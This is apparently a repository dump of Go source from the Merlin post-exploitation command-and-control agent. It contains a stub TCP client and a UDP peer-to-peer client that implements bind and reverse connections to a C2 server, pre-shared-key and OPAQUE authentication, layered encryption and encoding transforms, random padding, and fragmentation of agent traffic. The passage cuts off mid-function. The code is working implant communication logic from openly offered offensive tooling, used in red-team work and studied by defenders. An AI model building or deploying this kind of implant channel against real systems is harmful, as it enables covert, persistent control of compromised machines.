    "content": "//go:build !tcp && (http || http1 || http2 || http3 || mythic || winhttp || smb || udp)\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package tcp contains a configurable client used for TCP-based peer-to-peer Agent communications\npackage tcp\n\nimport (\n\t// Standard\n\t\"fmt\"\n\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// Internal\n\tmessages \"github.com/Ne0nd0g/merlin-message\"\n)\n\n// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server\ntype Client struct {\n}\n\n// Config is a structure used to pass in all necessary information to instantiate a new Client\ntype Config struct {\n\tAddress      []string  // Address the interface and port the agent will bind to\n\tAgentID      uuid.UUID // AgentID the Agent's UUID\n\tAuthPackage  string    // AuthPackage the type of authentication the agent should use when communicating with the server\n\tListenerID   uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with\n\tPadding      string    // Padding the max amount of data that will be randomly selected and appended to every message\n\tPSK          string    // PSK the Pre-Shared Key secret the agent will use to start authentication\n\tTransformers string    // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message\n\tMode         string    // Mode the type of client or communication mode (e.g., BIND or REVERSE)\n}\n\n// New instantiates and returns a Client that is constructed from the passed in Config\nfunc New(Config) (*Client, error) {\n\treturn nil, fmt.Errorf(\"clients/tcp.New(): TCP client not compiled into this program\")\n}\n\n// Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol\n// The function must take in a Base message for when the C2 server requests re-authentication through a message\nfunc (client *Client) Authenticate(messages.Base) (err error) {\n\treturn fmt.Errorf(\"clients/tcp.Authenticate(): TCP client not compiled into this program\")\n}\n\n// Get is a generic function used to retrieve the value of a Client's field\nfunc (client *Client) Get(string) string {\n\treturn fmt.Sprintf(\"clients/tcp.Get(): TCP client not compiled into this program\")\n}\n\n// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent\nfunc (client *Client) Initial() error {\n\treturn fmt.Errorf(\"clients/tcp.Initial(): TCP client not compiled into this program\")\n}\n\n// Listen waits for incoming data on an established TCP connection, deconstructs the data into a Base messages, and returns them\nfunc (client *Client) Listen() (returnMessages []messages.Base, err error) {\n\terr = fmt.Errorf(\"clients/tcp.LIsten(): TCP client not compiled into this program\")\n\treturn\n}\n\n// Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream.\n// This function DOES not wait or listen for response messages.\nfunc (client *Client) Send(messages.Base) (returnMessages []messages.Base, err error) {\n\terr = fmt.Errorf(\"clients/tcp.Send(): TCP client not compiled into this program\")\n\treturn\n}\n\n// Set is a generic function that is used to modify a Client's field values\nfunc (client *Client) Set(key string, value string) error {\n\treturn fmt.Errorf(\"clients/tcp.Set(): TCP client not compiled into this program\")\n}\n\n// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages\n// can be sent/received.\nfunc (client *Client) Synchronous() bool {\n\treturn false\n}\n"
  },
  {
    "path": "clients/udp/udp.go",
    "content": "//go:build udp || !(http || http1 || http2 || http3 || mythic || winhttp || smb || tcp)\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package udp contains a configurable client used for UDP-based peer-to-peer Agent communications\npackage udp\n\nimport (\n\t// Standard\n\t\"bytes\"\n\t\"crypto/sha256\"\n\t\"encoding/base64\"\n\t\"encoding/binary\"\n\t\"encoding/gob\"\n\t\"fmt\"\n\t\"math\"\n\t\"math/rand\"\n\t\"net\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/authenticators\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/authenticators/none\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/authenticators/opaque\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/core\"\n\ttransformer \"github.com/Ne0nd0g/merlin-agent/v2/transformers\"\n\tb64 \"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/base64\"\n\tgob2 \"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/gob\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/hex\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/aes\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/jwe\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/rc4\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/xor\"\n)\n\nconst (\n\tBIND    = 0\n\tREVERSE = 1\n)\n\nconst (\n\t// MaxSize is the maximum size that a UDP fragment can be, following the moderate school of thought due to 1500 MTU\n\t// http://ithare.com/udp-from-mog-perspective/\n\tMaxSize = 1450\n)\n\n// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server\ntype Client struct {\n\taddress       string                       // address is the network interface and port the agent will bind to\n\tagentID       uuid.UUID                    // agentID the Agent's UUID\n\tauthComplete  chan bool                    // authComplete is a channel that is used to block sending messages until the Agent has successfully completed authenticated\n\tauthenticated bool                         // authenticated tracks if the Agent has successfully authenticated\n\tauthenticator authenticators.Authenticator // authenticator the method the Agent will use to authenticate to the server\n\tclient        net.Addr                     // client is the address of the UDP client that initiated the connection, returned from PacketConn.ReadFrom\n\tconnected     chan bool                    // connected is a channel that is used to track if the Agent is connected to a Parent\n\tconnection    net.Conn                     // connection the network socket connection used to handle traffic\n\tlistener      net.PacketConn               // listener the network socket connection listening for traffic\n\tlistenerID    uuid.UUID                    // listenerID the UUID of the listener that this Agent is configured to communicate with\n\tpaddingMax    int                          // paddingMax the maximum amount of random padding to apply to every Base message\n\tpsk           string                       // psk the pre-shared key used for encrypting messages until authentication is complete\n\tsecret        []byte                       // secret the key used to encrypt messages\n\ttransformers  []transformer.Transformer    // Transformers an ordered list of transforms (encoding/encryption) to apply when constructing a message\n\tmode          int                          // mode the type of client or communication mode (e.g., BIND or REVERSE)\n\tsync.Mutex                                 // used to lock the Client when changes are being made by one function or routine\n}\n\n// Config is a structure that is used to pass in all necessary information to instantiate a new Client\ntype Config struct {\n\tAddress      []string  // Address the interface and port the agent will bind to\n\tAgentID      uuid.UUID // AgentID the Agent's UUID\n\tAuthPackage  string    // AuthPackage the type of authentication the agent should use when communicating with the server\n\tListenerID   uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with\n\tPadding      string    // Padding the max amount of data that will be randomly selected and appended to every message\n\tPSK          string    // PSK the Pre-Shared Key secret the agent will use to start authentication\n\tTransformers string    // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message\n\tMode         string    // Mode the type of client or communication mode (e.g., BIND or REVERSE)\n}\n\n// New instantiates and returns a Client that is constructed from the passed in Config\nfunc New(config Config) (*Client, error) {\n\tcli.Message(cli.DEBUG, \"Entering into clients/udp.New()...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Config: %+v\", config))\n\tclient := Client{}\n\tclient.authComplete = make(chan bool, 1)\n\tclient.connected = make(chan bool, 1)\n\tif config.AgentID == uuid.Nil {\n\t\treturn nil, fmt.Errorf(\"clients/udp.New(): a nil Agent UUID was provided\")\n\t}\n\tclient.agentID = config.AgentID\n\tif config.ListenerID == uuid.Nil {\n\t\treturn nil, fmt.Errorf(\"clients/udp.New(): a nil Listener UUID was provided\")\n\t}\n\n\tswitch strings.ToLower(config.Mode) {\n\tcase \"udp-bind\":\n\t\tclient.mode = BIND\n\tcase \"udp-reverse\":\n\t\tclient.mode = REVERSE\n\tdefault:\n\t\tclient.mode = BIND\n\t}\n\n\tclient.listenerID = config.ListenerID\n\tclient.psk = config.PSK\n\n\t// Parse Address and validate it\n\tif len(config.Address) <= 0 {\n\t\treturn nil, fmt.Errorf(\"a configuration address value was not provided\")\n\t}\n\t_, err := net.ResolveUDPAddr(\"udp\", config.Address[0])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tclient.address = config.Address[0]\n\n\t// Set secret for encryption\n\tk := sha256.Sum256([]byte(client.psk))\n\tclient.secret = k[:]\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"new client PSK: %s\", client.psk))\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"new client Secret: %x\", client.secret))\n\n\t//Convert Padding from string to an integer\n\tif config.Padding != \"\" {\n\t\tclient.paddingMax, err = strconv.Atoi(config.Padding)\n\t\tif err != nil {\n\t\t\treturn &client, fmt.Errorf(\"there was an error converting the padding max to an integer:\\r\\n%s\", err)\n\t\t}\n\t} else {\n\t\tclient.paddingMax = 0\n\t}\n\n\t// Authenticator\n\tswitch strings.ToLower(config.AuthPackage) {\n\tcase \"opaque\":\n\t\tclient.authenticator = opaque.New(config.AgentID)\n\tcase \"none\":\n\t\tclient.authenticator = none.New(config.AgentID)\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"an authenticator must be provided (e.g., 'opaque'\")\n\t}\n\n\t// Transformers\n\ttransforms := strings.Split(config.Transformers, \",\")\n\tfor _, transform := range transforms {\n\t\tvar t transformer.Transformer\n\t\tswitch strings.ToLower(transform) {\n\t\tcase \"aes\":\n\t\t\tt = aes.NewEncrypter()\n\t\tcase \"base64-byte\":\n\t\t\tt = b64.NewEncoder(b64.BYTE)\n\t\tcase \"base64-string\":\n\t\t\tt = b64.NewEncoder(b64.STRING)\n\t\tcase \"gob-base\":\n\t\t\tt = gob2.NewEncoder(gob2.BASE)\n\t\tcase \"gob-string\":\n\t\t\tt = gob2.NewEncoder(gob2.STRING)\n\t\tcase \"hex-byte\":\n\t\t\tt = hex.NewEncoder(hex.BYTE)\n\t\tcase \"hex-string\":\n\t\t\tt = hex.NewEncoder(hex.STRING)\n\t\tcase \"jwe\":\n\t\t\tt = jwe.NewEncrypter()\n\t\tcase \"rc4\":\n\t\t\tt = rc4.NewEncrypter()\n\t\tcase \"xor\":\n\t\t\tt = xor.NewEncrypter()\n\t\tdefault:\n\t\t\terr := fmt.Errorf(\"clients/udp.New(): unhandled transform type: %s\", transform)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\tclient.transformers = append(client.transformers, t)\n\t}\n\n\tcli.Message(cli.INFO, \"Client information:\")\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tProtocol: %s\", &client))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tAddress: %s\", client.address))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tListener: %s\", client.listenerID))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tAuthenticator: %s\", client.authenticator))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tTransforms: %+v\", client.transformers))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tPadding: %d\", client.paddingMax))\n\n\treturn &client, nil\n}\n\n// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent\nfunc (client *Client) Initial() (err error) {\n\tcli.Message(cli.DEBUG, \"clients/upd.Initial(): entering clients/udp.Initial() function\")\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/upd.Initial(): exiting function with error: %+v\", err))\n\n\terr = client.Connect()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"clients/udp.Initial(): %s\", err)\n\t}\n\t<-client.connected\n\n\t// Authenticate\n\treturn client.Authenticate(messages.Base{})\n}\n\n// Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol\n// The function must take in a Base message for when the C2 server requests re-authentication through a message\nfunc (client *Client) Authenticate(msg messages.Base) (err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Authenticate(): entering into function with message: %+v\", msg))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Authenticate(): leaving function with error: %+v\", err))\n\n\tclient.Lock()\n\tclient.authenticated = false\n\tclient.Unlock()\n\tif len(client.authComplete) > 0 {\n\t\t<-client.authComplete\n\t}\n\n\tvar authenticated bool\n\t// Reset the Agent's PSK\n\tk := sha256.Sum256([]byte(client.psk))\n\tclient.Lock()\n\tclient.secret = k[:]\n\tclient.Unlock()\n\n\t// Repeat until authenticator is complete and Agent is authenticated\n\tfor {\n\t\tmsg, authenticated, err = client.authenticator.Authenticate(msg)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\t// An empty message was received indicating to exit the function\n\t\tif msg.Type == 0 {\n\t\t\treturn\n\t\t}\n\n\t\t// Once authenticated, update the client's secret used to encrypt messages\n\t\tif authenticated {\n\t\t\tclient.Lock()\n\t\t\tclient.authenticated = true\n\t\t\tclient.Unlock()\n\t\t\tvar key []byte\n\t\t\tkey, err = client.authenticator.Secret()\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// Don't update the secret if the authenticator returned an empty key\n\t\t\tif len(key) > 0 {\n\t\t\t\tclient.Lock()\n\t\t\t\tclient.secret = key\n\t\t\t\tclient.Unlock()\n\t\t\t}\n\t\t}\n\n\t\tif msg.Type == messages.OPAQUE {\n\t\t\t// Send the message to the server\n\t\t\tvar msgs []messages.Base\n\t\t\tmsgs, err = client.SendAndWait(msg)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// Add response message to the next loop iteration\n\t\t\tif len(msgs) > 0 {\n\t\t\t\t// Don't add IDLE messages, just continue on\n\t\t\t\tif msgs[0].Type != messages.IDLE {\n\t\t\t\t\tmsg = msgs[0]\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t_, err = client.Send(msg)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t// If the Agent is authenticated, exit the loop and return the function\n\t\tif authenticated {\n\t\t\tclient.authComplete <- true\n\t\t\treturn\n\t\t}\n\t}\n}\n\n// Connect establish a connection with the remote host depending on the Client's type (e.g., BIND or REVERSE)\nfunc (client *Client) Connect() (err error) {\n\tcli.Message(cli.DEBUG, \"Entering clients/udp.Connect() function\")\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/upd.Connect(): exiting function with error: %+v\", err))\n\n\tclient.Lock()\n\tdefer client.Unlock()\n\n\t// Ensure the connected channel is empty. If the Agent's sleep is less than 0, the channel might be full from a prior reconnect\n\tif len(client.connected) > 0 {\n\t\t<-client.connected\n\t}\n\n\tswitch client.mode {\n\tcase BIND:\n\t\t// Will hit this if connection was lost during initialization steps because a Listener will already exist\n\t\tif client.listener == nil {\n\t\t\tclient.listener, err = net.ListenPacket(\"udp\", client.address)\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"clients/udp.Connect(): there was an error listening on %s: %s\", client.address, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Started %s listener on %s\", client, client.address))\n\t\t}\n\t\tvar n int\n\t\tbuffer := make([]byte, 4096)\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Listening for incoming connection at %s...\", time.Now().UTC().Format(time.RFC3339)))\n\t\t// First connection is junk data to establish a connection but otherwise has no value or meaning and can be discarded\n\t\tn, client.client, err = client.listener.ReadFrom(buffer)\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Read %d bytes from UDP connection %s at %s\", n, client.client, time.Now().UTC().Format(time.RFC3339)))\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"clients/udp.Connect(): there was an error reading data from %s : %s\", client.client, err)\n\t\t\treturn\n\t\t}\n\t\tclient.connected <- true\n\t\t// When an Agent previously authenticated, has a sleep less than 0, and has been unlinked, it will send an IDLE message to the server when a new link is established\n\t\tif client.authenticated {\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Sending gratuitious StatusCheckIn at %s...\", time.Now().UTC().Format(time.RFC3339)))\n\t\t\t_, err = client.Send(messages.Base{ID: client.agentID, Type: messages.CHECKIN})\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"clients/udp.Listen(): %s\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\treturn\n\tcase REVERSE:\n\t\tclient.connection, err = net.Dial(\"udp\", client.address)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"clients/udp.Connect(): there was an error connecting to %s: %s\", client.address, err)\n\t\t\treturn\n\t\t}\n\t\tclient.client = client.connection.RemoteAddr()\n\t\tcli.Message(cli.SUCCESS, fmt.Sprintf(\"Successfully connected to %s from %s at %s\", client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339)))\n\t\tclient.connected <- true\n\t\treturn\n\tdefault:\n\t\treturn fmt.Errorf(\"clients/udp.Connect(): unhandled UDP client mode: %d\", client.mode)\n\t}\n}\n\n// Construct takes in a messages.Base structure that is ready to be sent to the server and runs all the configured transforms\n// on it to encode and encrypt it.\nfunc (client *Client) Construct(msg messages.Base) (data []byte, err error) {\n\tfor i := len(client.transformers); i > 0; i-- {\n\t\tif i == len(client.transformers) {\n\t\t\t// First call should always take a Base message\n\t\t\tdata, err = client.transformers[i-1].Construct(msg, client.secret)\n\t\t} else {\n\t\t\tdata, err = client.transformers[i-1].Construct(data, client.secret)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"clients/udp.Construct(): there was an error calling the transformer construct function: %s\", err)\n\t\t}\n\t}\n\treturn\n}\n\n// Deconstruct takes in data returned from the server and runs all the Agent's transforms on it until\n// a messages.Base structure is returned. The key is used for decryption transforms\nfunc (client *Client) Deconstruct(data []byte) (messages.Base, error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Deconstruct(): entering into function with message: %+v\", data))\n\t//fmt.Printf(\"Deconstructing %d bytes with key: %x\\n\", len(data), client.secret)\n\tfor _, transform := range client.transformers {\n\t\t//fmt.Printf(\"Transformer %T: %+v\\n\", transform, transform)\n\t\tret, err := transform.Deconstruct(data, client.secret)\n\t\tif err != nil {\n\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"clients/udp.Deconstruct(): unable to deconstruct with Agent's secret, retrying with PSK\"))\n\t\t\t// Try to see if the PSK works\n\t\t\tk := sha256.Sum256([]byte(client.psk))\n\t\t\tret, err = transform.Deconstruct(data, k[:])\n\t\t\tif err != nil {\n\t\t\t\treturn messages.Base{}, err\n\t\t\t}\n\t\t\t// If the PSK worked, assume the agent is unauthenticated to the server\n\t\t\tclient.authenticated = false\n\t\t\tclient.secret = k[:]\n\t\t}\n\t\tswitch ret.(type) {\n\t\tcase []uint8:\n\t\t\tdata = ret.([]byte)\n\t\tcase string:\n\t\t\tdata = []byte(ret.(string)) // Probably not what I should be doing\n\t\tcase messages.Base:\n\t\t\t//fmt.Printf(\"pkg/listeners.Deconstruct(): returning Base message: %+v\\n\", ret.(messages.Base))\n\t\t\treturn ret.(messages.Base), nil\n\t\tdefault:\n\t\t\treturn messages.Base{}, fmt.Errorf(\"clients/udp.Deconstruct(): unhandled data type for Deconstruct(): %T\", ret)\n\t\t}\n\t}\n\treturn messages.Base{}, fmt.Errorf(\"clients/udp.Deconstruct(): unable to transform data into messages.Base structure\")\n}\n\n// Listen is composed of an infinite loop that waits up to 5 minutes per loop to receive a UDP connection from a peer\nfunc (client *Client) Listen() (returnMessages []messages.Base, err error) {\n\tcli.Message(cli.DEBUG, \"clients/udp.Listen(): entering into function\")\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Listen(): leaving function with messages: %+v and error: %+v\", returnMessages, err))\n\n\t// Repair broken connections\n\tif client.mode == REVERSE && client.connection == nil {\n\t\t// If the connection is empty and this is a REVERSE agent, wait here until the connection is established\n\t\tcli.Message(cli.INFO, fmt.Sprintf(\"Waiting for a client connection before listening for messages at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t\t<-client.connected\n\t\tcli.Message(cli.SUCCESS, fmt.Sprintf(\"Client connection re-esablished at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t} else if client.mode == BIND && client.listener == nil {\n\t\t// If the connection is empty and this is a BIND agent, wait for connection from Parent Agent\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Client connection was empty. Re-establishing connection at %s...\", time.Now().UTC().Format(time.RFC3339)))\n\t\terr = client.Connect()\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"clients/udp.Listen(): %s\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif client.mode == BIND {\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Listening for incoming messages from %v on %v at %s...\", client.client, client.address, time.Now().UTC().Format(time.RFC3339)))\n\t} else {\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Listening for incoming messages from %s on %s at %s...\", client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339)))\n\t}\n\n\treadTimeout := time.Minute * 5\n\tvar n int\n\tvar tag uint32\n\tvar length uint64\n\tvar buff bytes.Buffer\n\tfor {\n\t\trespData := make([]byte, MaxSize)\n\t\tswitch client.mode {\n\t\tcase BIND:\n\t\t\tn, client.client, err = client.listener.ReadFrom(respData)\n\t\tcase REVERSE:\n\t\t\terr = client.connection.SetReadDeadline(time.Now().Add(readTimeout))\n\t\t\tif err != nil {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Listen(): there was an error setting the connection read deadline to 5 minutes: %s\", err))\n\t\t\t}\n\t\t\tn, err = client.connection.Read(respData)\n\t\t}\n\n\t\t// Add the bytes to the buffer\n\t\tn, err = buff.Write(respData[:n])\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"clients/udp.Listen(): there was an error writing %d incoming bytes to the local buffer: %s\", n, err)\n\t\t\tclient.connection = nil\n\t\t\treturn\n\t\t}\n\n\t\t// If this is the first read on the connection determine the tag and data length\n\t\tif tag == 0 {\n\t\t\t// Ensure we have enough data to read the tag/type which is 4-bytes\n\t\t\tif buff.Len() < 4 {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Listen(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d\", buff.Len()))\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\ttag = binary.BigEndian.Uint32(respData[:4])\n\t\t\tif tag != 1 {\n\t\t\t\terr = fmt.Errorf(\"clients/udp.Listen(): Expected a type/tag value of 1 for TLV but got %d\", tag)\n\t\t\t\tclient.connection = nil\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tif length == 0 {\n\t\t\t// Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size\n\t\t\tif buff.Len() < 12 {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Listen(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d\", buff.Len()))\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tlength = binary.BigEndian.Uint64(respData[4:12])\n\t\t}\n\n\t\t// If we've read all the data according to the length provided in TLV, then break the for loop\n\t\t// Type/Tag size is 4-bytes, Length size is 8-bytes for TLV\n\t\tif uint64(buff.Len()) == length+4+8 {\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Listen(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data\", length))\n\t\t\tbreak\n\t\t} else {\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Listen(): Read %d of %d bytes into the buffer\", buff.Len(), length))\n\t\t}\n\t}\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Read %d bytes from UDP connection %s at %s\", buff.Len(), client.client, time.Now().UTC().Format(time.RFC3339)))\n\n\tif err != nil {\n\t\tswitch err2 := err.(type) {\n\t\tcase net.Error:\n\t\t\tif err2.Timeout() {\n\t\t\t\terr = fmt.Errorf(\"clients/udp.Listen(): The UDP connection read time of %s was reached: %s\", readTimeout, err)\n\t\t\t\treturn\n\t\t\t}\n\t\tdefault:\n\t\t\terr = fmt.Errorf(\"clients/udp.Listen(): there was an error reading the message from the connection with %s: %s\", client.client, err)\n\t\t}\n\t\treturn\n\t}\n\n\tvar msg messages.Base\n\t// Type/Tag size is 4-bytes, Length size is 8-bytes for a total of 12-bytes for TLV\n\tmsg, err = client.Deconstruct(buff.Bytes()[12:])\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/udp.Listen(): there was an error deconstructing the data: %s\", err)\n\t\tcli.Message(cli.DEBUG, err.Error())\n\t\t// See if the data was from initial link command from another agent\n\t\tb64Data := make([]byte, base64.StdEncoding.EncodedLen(n))\n\t\t_, errBase64 := base64.StdEncoding.Decode(b64Data, buff.Bytes()[12:])\n\t\tif errBase64 == nil {\n\t\t\tcli.Message(cli.INFO, fmt.Sprintf(\"Received Base64 encoded string from %s. Treating as a new connection...\", client.client))\n\t\t\t// Send gratuitous checkin to provide parent Agent with linked agent data\n\t\t\tif client.authenticated {\n\t\t\t\t_, err = client.Send(messages.Base{ID: client.agentID, Type: messages.CHECKIN})\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\treturn\n\t}\n\treturnMessages = append(returnMessages, msg)\n\treturn\n}\n\n// Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream\n// The function also decodes and decrypts response messages and return a Merlin message structure.\n// This is where the client's logic is for communicating with the server.\nfunc (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Send(): entering into function with message: %+v\", m))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Send(): exiting function with error: %v and return messages: %+v\", err, returnMessages))\n\n\t// Recover connection\n\tif client.mode == REVERSE && client.connection == nil {\n\t\t// If the connection is empty and this is a REVERSE agent, attempt to connect to the listener\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Client connection was empty. Re-establishing connection at %s...\", time.Now().UTC().Format(time.RFC3339)))\n\t\terr = client.Connect()\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"clients/udp.Send(): %s\", err)\n\t\t\treturn\n\t\t}\n\t} else if client.mode == BIND && client.client == nil {\n\t\t// If the connection is empty and this is a BIND agent, wait here for listener to receive a connection\n\t\tcli.Message(cli.INFO, fmt.Sprintf(\"Waiting for a client connection before sending message at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t\t<-client.connected\n\t}\n\n\tif !client.authenticated && m.Type != messages.OPAQUE {\n\t\tcli.Message(cli.INFO, fmt.Sprintf(\"Waiting for authentication to complete before sending message at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t\t<-client.authComplete\n\t\tcli.Message(cli.INFO, fmt.Sprintf(\"Authentication completed, continuing with sending held message at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t}\n\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Sending %s message to %s at %s\", m.Type, client.client, time.Now().UTC().Format(time.RFC3339)))\n\n\t// Set the message padding\n\tif client.paddingMax > 0 {\n\t\t// #nosec G404 -- Random number does not impact security\n\t\tm.Padding = core.RandStringBytesMaskImprSrc(rand.Intn(client.paddingMax))\n\t}\n\n\tdata, err := client.Construct(m)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/udp.Send(): there was an error constructing the data: %s\", err)\n\t\treturn\n\t}\n\n\tdelegate := messages.Delegate{\n\t\tListener: client.listenerID,\n\t\tAgent:    client.agentID,\n\t\tPayload:  data,\n\t}\n\n\t// Convert messages.Base to gob\n\t// Still need this for agent to agent message encoding\n\tdelegateBytes := new(bytes.Buffer)\n\terr = gob.NewEncoder(delegateBytes).Encode(delegate)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/udp.Send(): there was an error encoding the %s message to a gob:\\r\\n%s\", m.Type, err)\n\t\treturn\n\t}\n\n\t// Add in Tag/Type and Length for TLV\n\ttag := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(tag, 1)\n\tlength := make([]byte, 8)\n\tbinary.BigEndian.PutUint64(length, uint64(delegateBytes.Len()))\n\n\t// Create TLV\n\toutData := append(tag, length...)\n\toutData = append(outData, delegateBytes.Bytes()...)\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/udp.Send(): Added Tag: %d and Length: %d to data size of %d\", tag, uint64(delegateBytes.Len()), len(outData)))\n\n\t// Determine number of fragments based on MaxSize\n\tfragments := int(math.Ceil(float64(len(outData)) / float64(MaxSize)))\n\n\t// Write the message\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Writing message size %d 